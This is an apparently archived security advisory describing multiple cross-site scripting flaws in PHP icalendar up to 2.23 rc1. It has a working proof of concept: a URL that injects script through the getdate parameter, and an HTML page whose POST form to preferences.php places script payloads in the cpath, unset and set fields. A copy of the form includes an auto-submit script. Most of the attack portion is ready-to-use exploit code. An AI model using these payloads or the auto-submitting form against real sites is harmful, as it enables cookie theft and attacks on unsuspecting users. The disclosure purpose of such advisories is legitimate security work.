source: https://www.securityfocus.com/bid/21792/info
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/phpicalendar/preferences.php?cal=Home,US+Holidays,Work &getdate=20061227%22%3E%3Cscript%3Ealert()%3C/script%3E <html> <head></head> <body> <title>PHP icalendar XSS in preferences.php PoC</title> <p><a href="http://phpicalendar.net/" target="_BLANK">PHP icalendar</a> <= 2.23 rc1 preferences.php XSS Proof Of concept By <a href="http://Lostmon.blogspot.com" target="_BLANK">Lostmon</a></p> <p>Modify the target host , by default http://localhost/</P> <br /><br /><form method='post' action='
http://localhost/phpicalendar/preferences.php?action=setcookie'> cookie_language: <input input='text' value='Spanish' name='cookie_language' style='width: 80%' /><br> cookie_calendar: <input input='text' value='all_calendars_combined971' name='cookie_calendar' style='width: 80%' /><br> cpath: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='cpath' style='width: 80%' /><br> cookie_view: <input input='text' value='day' name='cookie_view' style='width: 80%' /><br> cookie_time: <input input='text' value='0700' name='cookie_time' style='width: 80%' /><br> cookie_startday: <input input='text' value='Sunday' name='cookie_startday' style='width: 80%' /><br> cookie_style: <input input='text' value='default' name='cookie_style' style='width: 80%' /><br> unset: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='unset' style='width: 80%' /><br> set: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='set' style='width: 80%' /><br> <input type='submit' value='submit' /><br> </form><hr /> <textarea style='width: 80%; height: 50%;'> <form method='post' action='
http://localhost/phpicalendar/preferences.php?action=setcookie'> cookie_language: <input input='text' value='Spanish' name='cookie_language' style='width: 80%' /><br> cookie_calendar: <input input='text' value='all_calendars_combined971' name='cookie_calendar' style='width: 80%' /><br> cpath: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='cpath' style='width: 80%' /><br> cookie_view: <input input='text' value='day' name='cookie_view' style='width: 80%' /><br> cookie_time: <input input='text' value='0700' name='cookie_time' style='width: 80%' /><br> cookie_startday: <input input='text' value='Sunday' name='cookie_startday' style='width: 80%' /><br> cookie_style: <input input='text' value='default' name='cookie_style' style='width: 80%' /><br> unset: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='unset' style='width: 80%' /><br> set: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='set' style='width: 80%' /><br> <input type='submit' value='submit' /><br> </form> <script> document.forms[0].submit() </script> </textarea> </body> </html>